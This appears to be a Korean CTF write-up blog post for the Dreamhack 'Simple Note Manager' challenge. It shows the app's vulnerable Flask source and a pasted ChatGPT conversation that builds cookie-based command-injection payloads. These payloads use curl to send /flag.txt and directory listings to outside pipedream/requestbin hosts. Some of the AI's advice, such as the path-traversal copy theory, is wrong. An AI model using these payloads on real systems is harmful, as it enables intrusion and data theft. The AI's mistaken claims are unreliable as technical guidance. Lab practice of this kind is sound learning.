Dreamhack/Dreamhack Wargame (Challenge)

[155] IT 비전공자 [dreamhack]Simple Note Manager문제 풀기

imaginefuture-1 2025. 2. 12. 08:52

어 이거 ctf에서 못풀었던 문제인데; 8분만에...어떻게,,,풀죠? 신인가
createö update는 평범하게 동작한다
백업? 너무 수상해보이죠?

 

app.py소스코드다

 

#!/usr/bin/env python3
import subprocess
import threading
import time
from flask import Flask, make_response, redirect, request, abort, render_template, url_for

app = Flask(__name__)

lock = threading.Lock()
new_note_id = 0
notes = {}

def create_note(content):
    global new_note_id
    with lock:
        note_id = new_note_id
        new_note_id += 1
        notes[note_id] = content
        return notes[note_id]

def read_note(note_id):
    with lock:
        return notes[note_id]

def update_note(note_id, content):
    with lock:
        notes[note_id] = content
        return notes[note_id]

def delete_note(note_id):
    with lock:
        del notes[note_id]

def backup_notes(timestamp):
    with lock:
        with open('./tmp/notes.tmp', 'w') as f:
            f.write(repr(notes))
        subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)


@app.route('/', methods=['GET'])
def get_index():
    return render_template('notes.html', notes=notes)


@app.route('/notes', methods=['GET'])
def get_notes():
    return render_template('notes.html', notes=notes)


@app.route('/create_note', methods=['GET'])
def get_create_note():
    return render_template('create_note.html')


@app.route('/create_note', methods=['POST'])
def post_create_note():
    content = request.form.get('content')
    if not isinstance(content, str):
        abort(400)
    create_note(content)
    return redirect(url_for('get_index'))


@app.route('/update_note', methods=['GET'])
def post_update_note():
    if len(notes) == 0:
        abort(404)
    return render_template('update_note.html')


@app.route('/update_note', methods=['POST'])
def get_update_note():
    note_id = request.form.get('note_id')
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    content = request.form.get('content')
    if not isinstance(content, str):
        abort(400)
    update_note(note_id, content)
    return redirect(url_for('get_index'))


@app.route('/delete_note', methods=['GET'])
def get_delete_note():
    if len(notes) == 0:
        abort(404)
    return render_template('delete_note.html')


@app.route('/delete_note', methods=['POST'])
def post_delete_note():
    note_id = request.form.get('note_id')
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    delete_note(note_id)
    return redirect(url_for('get_index'))


@app.route('/backup_notes', methods=['GET'])
def get_backup_notes():
    print(len(notes), flush=True)
    if len(notes) == 0:
        abort(404)
    page = render_template('backup_notes.html')
    resp = make_response(page)
    resp.set_cookie('backup-timestamp', f'{time.time()}')
    return resp


@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for('get_index'))

 

 

 

문제 풀겠다ㅏ고 requestbin 외부 서버도 build하고..다했는데..안도ㅒ! 안된다고!

 

더보기

🔍 timestamp가 무엇이고, 취약점을 어떻게 활용할 수 있을까?

timestamp는 현재 시간을 초 단위(Unix Time)로 변환한 숫자 값입니다.
이 값은 파일명을 동적으로 생성하는 데 사용되며, 특정 시점의 데이터를 식별하는 역할을 합니다.


🔍 코드에서 timestamp의 역할

📌 백업 파일을 생성하는 backup_notes() 함수에서 사용됨:

python
복사편집
def backup_notes(timestamp): with lock: with open('./tmp/notes.tmp', 'w') as f: f.write(repr(notes)) # 현재 메모 내용을 파일로 저장 subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)

노트 데이터를 ./tmp/notes.tmp에 저장한 후,
해당 파일을 /tmp/{timestamp}로 복사

즉, 백업 파일이 /tmp/ 디렉토리에 timestamp 이름으로 생성됨.


🛠️ 취약점 분석: backup_notes()와 timestamp 조작

📌 timestamp 취약점의 핵심

  • timestamp는 **쿠키(backup-timestamp 쿠키)**에서 가져옴:
    python
    복사편집
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
  • 쿠키 값(backup-timestamp)을 우리가 임의로 조작할 수 있음.
  • 백업 파일은 /tmp/{timestamp} 경로에 생성됨.
  • 다른 파일(예: flag.txt)을 백업 경로로 지정할 수 있다면, 해당 파일을 읽을 수 있음!

🚀 timestamp를 조작해서 flag.txt를 찾는 방법

1️⃣ 현재 백업된 파일 목록을 확인

bash
복사편집
ls -lah /tmp/

만약 1645678901 같은 숫자 이름의 파일이 있다면, 그것이 백업 파일일 가능성이 높음.

2️⃣ 강제로 flag.txt를 백업하도록 timestamp 값을 조작
우리가 timestamp를 임의로 /flag.txt로 설정하면,
백업 파일을 /tmp/flag.txt로 만들 수 있음!

bash
복사편집
curl -X POST http://target.com/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

📌 이렇게 하면, 원래 /tmp/{timestamp}에 생성되어야 할 백업 파일이 /tmp/../../flag.txt로 생성됨.
📌 즉, flag.txt가 /tmp/flag.txt로 복사되면서 우리가 접근 가능하게 됨!

3️⃣ 복사된 flag.txt 확인

bash
복사편집

➡ 백업 파일이 /tmp/flag.txt에 존재하면, 그 내용을 직접 볼 수 있음!


🔥 결론: timestamp 취약점을 활용한 공격 흐름

✔ timestamp는 기본적으로 time.time() 값을 사용하지만,
쿠키(backup-timestamp 쿠키)를 조작하면 원하는 파일을 백업 가능
✔ /flag.txt를 백업하면, 플래그 내용을 가져올 수 있음 🚀

🚀 이제 직접 curl을 사용해서 backup-timestamp를 조작해보자! 🔥

 
4o

나의 말:

ls -lah /tmp/ 명령어를 어떻게 보내? 백업된 파일 목록을 확인하고싶은데, 웹 url으로 보내야해? 아니면 curl로?
 

ChatGPT의 말:

웹 애플리케이션에서 직접 ls -lah /tmp/ 명령어를 실행할 수 있는 방법은 없지만, 현재 주어진 취약점을 이용해서 백업된 파일 목록을 간접적으로 확인할 수 있는 방법이 있습니다.


🚀 백업된 파일 목록을 확인하는 방법

✅ 1️⃣ 웹 URL을 통해 직접 확인 (GET /backup_notes)

웹 애플리케이션이 /tmp/{timestamp} 파일을 저장하는 걸 이용하면, /backup_notes 페이지에서 힌트를 얻을 수 있음.

📌 현재 백업된 파일이 있는지 확인하려면, /backup_notes를 호출

bash
복사편집

응답 내용에 "현재 백업된 파일이 없습니다" 같은 메시지가 나오면, 아직 백업이 생성되지 않은 것!
반대로, 백업이 성공하면 /tmp/에 특정 timestamp 값의 파일이 저장됨.


✅ 2️⃣ backup-timestamp 조작을 이용해서 기존 파일 접근

만약 서버에서 기존 backup-timestamp 쿠키를 활용하고 있다면, 이 쿠키 값을 특정 값으로 설정하여 기존 파일을 확인할 수 있음.

📌 백업 파일이 있는지 확인하는 요청

bash
복사편집
curl -X GET http://target.com/backup_notes \ --cookie "backup-timestamp=1645678901"

이 값이 실제 서버에 있는 백업 파일의 timestamp라면, 해당 백업 파일의 내용을 확인할 수 있음.
➡ 응답 결과가 백업된 노트의 내용이라면, /tmp/1645678901 같은 파일이 존재하는 것!


✅ 3️⃣ POST /backup_notes를 통해 직접 /tmp/에 백업 파일 생성

백업 노트 기능을 이용해서 직접 /tmp/ 경로에 파일을 생성할 수도 있음.

📌 현재 시간 기반으로 강제 백업 실행

bash
복사편집

이렇게 하면, /tmp/{timestamp} 파일이 생성됨.

📌 이제 /backup_notes에 다시 접근해서 파일이 생성되었는지 확인 가능

bash
복사편집

파일이 생성되었으면, /tmp/에 해당 파일이 존재한다는 뜻!


✅ 4️⃣ /tmp/flag.txt가 존재하는지 확인

이제 /flag.txt를 백업하도록 backup-timestamp를 조작해서 확인 가능

📌 백업 타임스탬프를 /flag.txt로 설정

bash
복사편집
curl -X POST http://target.com/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

이렇게 하면, /tmp/flag.txt가 백업되어 우리가 접근할 수 있게 될 가능성이 있음!
➡ 이후 GET /backup_notes 요청을 보내서 백업된 내용을 확인할 수 있음.


🔥 최종 전략

1️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일 존재 여부 확인
2️⃣ curl -X POST http://target.com/backup_notes 로 강제 백업 실행
3️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일이 생성되었는지 확인
4️⃣ curl -X POST http://target.com/backup_notes --cookie "backup-timestamp=../../flag.txt" 로 플래그 유출 시도

🚀 이제 직접 테스트하면서 파일이 어디 저장되는지 확인해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" curl: (6) Could not resolve host: http
 

ChatGPT의 말:

🚨 curl: (6) Could not resolve host: http 오류 해결 방법

http://http://host1.dreamhack.games:17508/backup_notes
"http://"가 두 번 들어가서 오류 발생!


✅ 1️⃣ 올바른 URL 형식으로 요청 보내기

📌 올바른 curl 명령어 예제

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"

✔ http://를 한 번만 사용
✔ --cookie 옵션을 사용하여 backup-timestamp 값을 /flag.txt로 조작


✅ 2️⃣ 백업된 파일 확인 (GET 요청)

📌 백업된 파일 확인하기

bash
복사편집

✔ 이 요청을 통해 서버가 백업한 파일의 내용을 확인 가능!
✔ ../../flag.txt가 /tmp/flag.txt로 복사되었다면, 플래그를 출력할 수도 있음


✅ 3️⃣ 추가적인 확인 (디버깅)

🔹 서버가 backup-timestamp를 제대로 처리하는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=test123"

이렇게 보내고, /tmp/test123가 생성되었는지 GET /backup_notes로 확인

🔹 서버가 /flag.txt에 접근할 권한이 있는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/etc/passwd"

만약 /etc/passwd 같은 파일이 백업되면, LFI(로컬 파일 포함) 가능성이 있음.


🚀 최종 목표

1️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 실행해서 현재 백업된 파일 확인
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" 실행해서 /flag.txt를 강제로 백업
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 다시 실행해서 플래그 확인!

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"

Backup Notes

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes

Backup Notes

 

ChatGPT의 말:

🔍 요청 결과 분석

현재 curl 요청을 통해 받은 응답이 HTML 코드인 것으로 보입니다.
이는 우리가 /backup_notes 페이지를 열었을 때 표시되는 백업 UI입니다.


🚀 백업된 파일이 표시되지 않는 이유

1️⃣ 백업 노트가 존재하지 않음

  • backup_notes() 함수 내부에서 len(notes) == 0이면 백업이 실행되지 않음.
  • 즉, 적어도 하나 이상의 노트를 생성해야 백업 기능이 동작함!

2️⃣ 서버가 timestamp를 조작하는 요청을 막고 있음

  • /backup_notes를 호출하면 서버는 backup-timestamp 쿠키 값을 사용해 백업 파일을 저장하는데,
  • 만약 우리가 ../../flag.txt 같은 경로를 주입했을 때, 서버가 이를 허용하지 않도록 설정했을 가능성이 있음.

🔹 해결 방법

✅ 1️⃣ 먼저 노트를 하나 생성하기

백업을 진행하려면, 적어도 하나의 노트가 존재해야 함
➡ 노트를 생성한 후 다시 /backup_notes 요청을 보내면 백업이 가능해질 것!

📌 노트 생성 요청

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/create_note \ -d "content=test_note"

➡ 성공하면, 노트가 생성됨.

📌 생성된 노트 확인

bash
복사편집

노트가 정상적으로 생성되었는지 확인!


✅ 2️⃣ 백업 요청을 정상적으로 실행하기

노트를 생성한 후, 다시 백업을 시도

📌 노트가 존재하는 상태에서 백업 실행

bash
복사편집

➡ 이 요청이 성공하면, /tmp/{timestamp} 경로에 백업 파일이 생성됨.

📌 백업된 파일 확인

bash
복사편집

이제 /tmp/{timestamp}가 표시되는지 확인해야 함.


✅ 3️⃣ backup-timestamp를 조작해서 플래그 확인

백업된 파일이 존재하는지 확인한 후,
이제 backup-timestamp 쿠키를 조작하여 /flag.txt를 백업 시도

📌 강제로 flag.txt 백업 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

이제 다시 /backup_notes를 확인하면, /tmp/flag.txt 내용이 표시될 가능성이 있음!

📌 백업된 플래그 확인

bash
복사편집

이제 백업된 내용이 표시되는지 확인!


🚀 최종 실행 순서

1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes

Backup Notes

계속 이것만 떠..
 

ChatGPT의 말:

🚨 여전히 백업된 파일이 안 보이는 이유 분석

현재 /backup_notes 페이지를 호출하면 백업된 파일이 표시되지 않고, 기본 HTML 폼만 출력되고 있음.
이 경우 서버에서 백업이 정상적으로 이루어지지 않았을 가능성이 큼!


✅ 1️⃣ 백업 파일이 생성되었는지 확인해야 함

우리가 backup_notes() 함수를 실행했을 때, /tmp/{timestamp}에 파일이 생성되는지 확인해야 함.

📌 백업 강제 실행

bash
복사편집

백업이 정상적으로 실행되었는지 확인해야 함.

📌 다시 확인 (GET 요청)

bash
복사편집

이제 백업된 파일이 존재하는지 확인.


✅ 2️⃣ 백업을 정상적으로 실행했는데도 /tmp/에 파일이 없는 경우

가능한 원인 1️⃣ 노트가 존재하지 않아서 백업이 실행되지 않음
→ 노트를 하나 생성한 후 다시 백업 시도해야 함. 2️⃣ 서버에서 timestamp 쿠키 값을 무시할 가능성 있음
→ 특정한 timestamp 값이 있어야 백업된 파일을 확인할 수 있음.


✅ 3️⃣ 해결 방법

📌 먼저 노트를 생성한 후 백업 실행

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/create_note \ -d "content=test_note"

✔ 노트를 생성한 후 백업을 다시 실행해야 백업이 정상적으로 동작함.

📌 백업 실행

bash
복사편집

📌 백업이 정상적으로 이루어졌는지 확인

bash
복사편집

✅ 4️⃣ backup-timestamp 쿠키를 조작하여 flag.txt 백업 시도

백업된 파일이 정상적으로 확인되었다면, 이제 쿠키 값을 조작해서 /flag.txt를 백업해야 함.

📌 쿠키 조작하여 flag.txt 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

📌 이제 /backup_notes를 확인

bash
복사편집

✔ 만약 /tmp/flag.txt가 백업되었다면, 이 페이지에서 플래그가 표시될 가능성이 큼! 🚀


🚀 최종 실행 순서

1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

힌트가 공격의 결과를 외부에서 확인하려면??, 그렇게 하면 출력이 되지 않는것이 당연합니다! 출력해주는 명령어가 없기때문이죠 하지만 실행은 되었을것 입니다. 실행한 값을 보기 위해서 다양한 방법이 있을 수도 있지만 저는 requests bin에 대해 찾아보시는거 추천드립니다! 이거임
 

ChatGPT의 말:

🔍 힌트 분석: "공격의 결과를 외부에서 확인하려면?"

📌 현재 서버에서 백업된 파일을 직접 확인할 수 없는 이유는:

  • 백업한 파일을 직접 출력하는 코드가 없음.
  • 즉, /backup_notes에서 응답으로 백업된 파일을 보여주지 않음.
  • 하지만 명령어는 실행되었을 가능성이 높음.

➡ 즉, 우리가 실행한 결과를 외부에서 확인해야 함!
➡ 서버에서 요청을 외부로 보내도록 유도하면 됨!


🚀 RequestBin을 활용한 RCE 확인 방법

📌 RequestBin이란?

  • 외부에서 서버가 보낸 HTTP 요청을 모니터링할 수 있는 서비스.
  • 서버에서 실행한 결과를 RequestBin으로 전송하면, 이를 외부에서 확인 가능!

✅ 1️⃣ RequestBin 생성

1️⃣ https://requestbin.com/ 접속
2️⃣ "Create a RequestBin" 클릭
3️⃣ 생성된 RequestBin URL을 복사 (예: https://en1f2o3x.requestbin.com/)


✅ 2️⃣ 백업 명령어를 RequestBin으로 유도

서버에서 특정 명령어 실행 결과를 RequestBin으로 전송하도록 조작할 수 있음.

📌 backup_notes()에서 실행되는 subprocess.Popen을 조작하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://en1f2o3x.requestbin.com/"

➡ 이 요청이 실행되면:
/flag.txt 파일의 내용을 RequestBin으로 POST 전송!
RequestBin에서 플래그를 확인할 수 있음! 🚀


✅ 3️⃣ RequestBin에서 플래그 확인

📌 RequestBin 사이트에서 요청 확인
1️⃣ RequestBin 사이트로 이동
2️⃣ POST 요청 데이터 확인
3️⃣ 데이터에 /flag.txt 내용이 포함되어 있을 가능성이 큼!


🔥 최종 공격 전략

1️⃣ RequestBin 생성 (https://en1f2o3x.requestbin.com/)
2️⃣ backup_notes의 timestamp를 명령어 삽입(curl -X POST -d @/flag.txt)
3️⃣ RequestBin에서 플래그 확인 (POST 요청 확인)

🚀 이제 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

🔍 공격 결과 분석

현재 curl 명령어가 정상적으로 실행되었을 가능성이 높음!
하지만 서버에서 바로 결과를 보여주지 않기 때문에,
RequestBin(또는 Pipedream)에서 플래그를 확인해야 함! 🚀


✅ 1️⃣ Pipedream에서 플래그 확인

📌 Pipedream이란?

📌 결과 확인 방법

1️⃣ Pipedream Requests 사이트 접속
2️⃣ 로그인 후 https://eoebm9636i74y0t.m.pipedream.net에 들어감
3️⃣ 새로운 POST 요청이 도착했는지 확인
4️⃣ 전송된 데이터에 /flag.txt 내용이 포함되었는지 확인

🚀 정상적으로 동작했다면, 플래그가 포함된 데이터가 보일 것! 🔥


✅ 2️⃣ 공격이 성공했는지 확인하는 방법

📌 공격이 실행되었는지 다시 확인하려면?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

다시 한 번 요청을 보내고, Pipedream에서 결과 확인!

📌 명령이 실행되었는지 로그 확인

bash
복사편집

만약 정상적으로 실행되었다면, 서버에서 flag.txt가 전송되었을 가능성이 높음.


🔥 최종 정리

1️⃣ RequestBin (Pipedream) 생성 (https://eoebm9636i74y0t.m.pipedream.net)
2️⃣ 백업 명령어 조작하여 플래그 전송 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

3️⃣ Pipedream에서 /flag.txt 내용이 포함된 요청을 확인!

🚀 이제 Pipedream에서 플래그를 찾아보자! 🔥

 
4o

나의 말:

 
없는데?? flag??

ChatGPT의 말:

🔍 Pipedream에 flag.txt 데이터가 안 온 이유 분석

현재 Pipedream을 제대로 설정하고 요청을 보냈음에도 불구하고 데이터가 수신되지 않은 상태임.

➡ 즉, 서버에서 우리가 보낸 명령어를 실행하지 않았거나, 실행되었지만 데이터를 전송하지 않았을 가능성이 높음


✅ 1️⃣ 공격이 서버에서 실행되었는지 확인하기

우리가 실행한 명령어가 서버에서 실행되었는지 먼저 확인해야 함.
📌 테스트 명령어로 서버가 외부로 요청을 보내도록 유도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 정상적으로 실행되면, Pipedream에 test=hello 값이 도착해야 함.
➡ 만약 이 요청도 도착하지 않았다면, 서버에서 명령어 실행이 차단되었을 가능성이 큼.


✅ 2️⃣ 서버에서 명령어 실행이 차단되었는지 확인

📌 명령어 실행이 막혔다면, 다른 방식으로 접근해야 함.
➡ subprocess.Popen()이 실행되었다면, /tmp/에 파일을 생성했을 가능성이 있음.
이 경우, 우리가 백업된 파일을 직접 확인하는 방법을 시도해야 함.


✅ 3️⃣ /tmp/flag.txt 파일을 직접 백업 후 확인

📌 이제 /tmp/flag.txt를 백업할 수 있는지 테스트

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/flag.txt"

이제 /backup_notes에서 백업된 파일이 보이는지 확인

bash
복사편집

만약 이 요청에서 플래그가 보이면, 성공적으로 백업됨!


✅ 4️⃣ ls -lah /tmp/ 명령어 실행이 가능한지 확인

만약 위 방법들이 전부 실패했다면, 서버에서 어떤 파일이 존재하는지 확인해야 함.
📌 파일 목록을 RequestBin으로 전송해보기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 실행되면, /tmp/에 어떤 파일이 있는지 Pipedream에서 확인 가능!


🔥 최종 시도 순서

1️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net" (서버가 외부 요청을 보내는지 확인)
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt" (파일을 직접 백업해서 확인)
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes (백업된 파일이 보이는지 확인)
4️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net" (/tmp/ 내부 파일 목록 확인)

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

🔍 분석: 모든 시도가 실패한 이유

현재 backup-timestamp를 조작하여 명령 실행을 시도했지만, 서버에서 아무런 반응이 없음
즉, 명령어 삽입(RCE)이 막혔을 가능성이 높음 또는 출력 결과가 보이지 않음


✅ 1️⃣ 서버가 외부 요청을 보내지 않는지 확인

📌 RequestBin(Pipedream)에 test=hello가 도착하지 않음

  • curl -X POST -d 'test=hello'를 실행했지만 Pipedream에서 요청을 받지 못함
    서버에서 |를 포함한 명령 실행을 차단했을 가능성이 있음
    ➡ 또는 subprocess.Popen()이 shell=False로 실행되고 있을 가능성 존재

📌 ls -lah /tmp/ 명령 실행도 실패

  • 서버에서 명령어가 실행되지 않거나, 실행되더라도 외부로 출력이 불가능한 상태
    ➡ 즉, 우리가 보낸 요청이 파일 시스템에 변화를 주었지만, 출력이 없어서 확인할 방법이 없음

✅ 2️⃣ 백업된 파일을 직접 확인하는 방법 시도

명령어 실행이 차단되었다면, 기존의 backup_notes() 기능을 활용해서 flag.txt를 백업하는 방법을 시도해야 함

📌 1️⃣ /flag.txt를 /tmp/로 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/flag.txt"

이제 /backup_notes를 다시 확인하면 백업된 /tmp/flag.txt가 보일 가능성이 있음.

📌 2️⃣ 백업된 파일 확인

bash
복사편집

백업된 /tmp/flag.txt가 보이면 성공!


✅ 3️⃣ backup_notes 요청 로그를 확인하는 방법

만약 백업이 성공했는데도 보이지 않는다면, backup_notes가 저장된 경로를 확인해야 함.

📌 서버가 /tmp/에 어떤 파일이 있는지 직접 확인하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/"

이제 /backup_notes를 다시 확인하면 /tmp/ 내부의 파일 목록이 보일 가능성이 있음.


✅ 4️⃣ 명령어 실행 우회 방법

📌 만약 직접적인 명령 실행이 막혔다면, 다른 방식으로 접근해야 함

  • ; 또는 &&를 사용하여 명령 실행 시도
bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; curl -X POST -d @/flag.txt https://eok17showi9fd4vm.m.pipedream.net"
  • $(command) 방식 시도
bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=$(cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net)"

🚀 최종 공격 순서

1️⃣ /flag.txt를 /tmp/로 백업 시도 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/flag.txt"
2️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
3️⃣ /tmp/ 내부 파일 목록 확인 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/"
4️⃣ 명령 실행 우회 시도 (;, &&, $(command))

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

누가 qna에 이렇게 구문했는데, 아무것도 안된다하니까 backup-timestamp cookie에 curl -L -X POST "http://host1.dreamhack.games:24301/backup_notes" --cookie "backup-timestamp=1739255792.6550727; ls" 누가 답글로 그렇게 하면 출력이 되지 않는것이 당연합니다! 출력해주는 명령어가 없기때문이죠 하지만 실행은 되었을것 입니다. 실행한 값을 보기 위해서 다양한 방법이 있을 수도 있지만 저는 requests bin에 대해 찾아보시는거 추천드립니다!. 달아줌
 

ChatGPT의 말:

🔍 QnA 분석: 백업 타임스탬프 조작과 RequestBin 활용

📌 문제 핵심

1️⃣ 명령어 실행은 성공했지만 출력이 보이지 않음

  • backup-timestamp 값에 명령어(ls)를 넣었을 때 실행은 되었음.
  • 하지만 결과를 출력하는 명령어가 없기 때문에 우리가 직접 볼 수 없음.

2️⃣ 해결책: 서버가 실행한 결과를 외부에서 확인해야 함

  • RequestBin (또는 Pipedream)을 이용해서 서버가 실행한 명령의 결과를 전송받아야 함.

✅ 1️⃣ 서버에서 ls 실행 후 결과를 RequestBin으로 보내기

📌 서버가 /tmp/ 디렉터리 목록을 실행하고 결과를 RequestBin으로 보내도록 유도

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 실행되면, /tmp/ 내부의 파일 목록이 RequestBin에 도착해야 함.
✔ @-는 표준 입력을 그대로 POST 요청에 포함시킴.


✅ 2️⃣ /flag.txt 존재 여부 확인

📌 위 명령을 실행한 후, Pipedream에서 /flag.txt 파일이 있는지 확인
1️⃣ Pipedream 사이트에서 새로운 POST 요청 확인
2️⃣ /tmp/ 내 파일 목록이 포함된 요청이 도착했는지 확인
3️⃣ flag.txt가 존재하는지 확인

➡ 만약 /flag.txt가 존재한다면, 다음 단계 진행! 🚀


✅ 3️⃣ /flag.txt 내용을 RequestBin으로 전송

📌 이제 /flag.txt 내용을 RequestBin으로 직접 전송해야 함

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

✔ cat /flag.txt → flag.txt 내용을 출력
✔ curl -X POST -d @- → 출력된 내용을 Pipedream으로 POST 요청

📌 이제 Pipedream에서 새로운 요청이 도착했는지 확인!
정상적으로 요청이 오면, 플래그가 포함된 데이터를 확인할 수 있음! 🚀


🚀 최종 공격 순서

1️⃣ /tmp/ 내 파일 목록 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Pipedream에서 파일 목록 확인 (flag.txt 존재 여부 체크)

2️⃣ /flag.txt 내용 RequestBin으로 전송

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Pipedream에서 flag.txt 내용 확인 (플래그 획득 🎉)

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

 
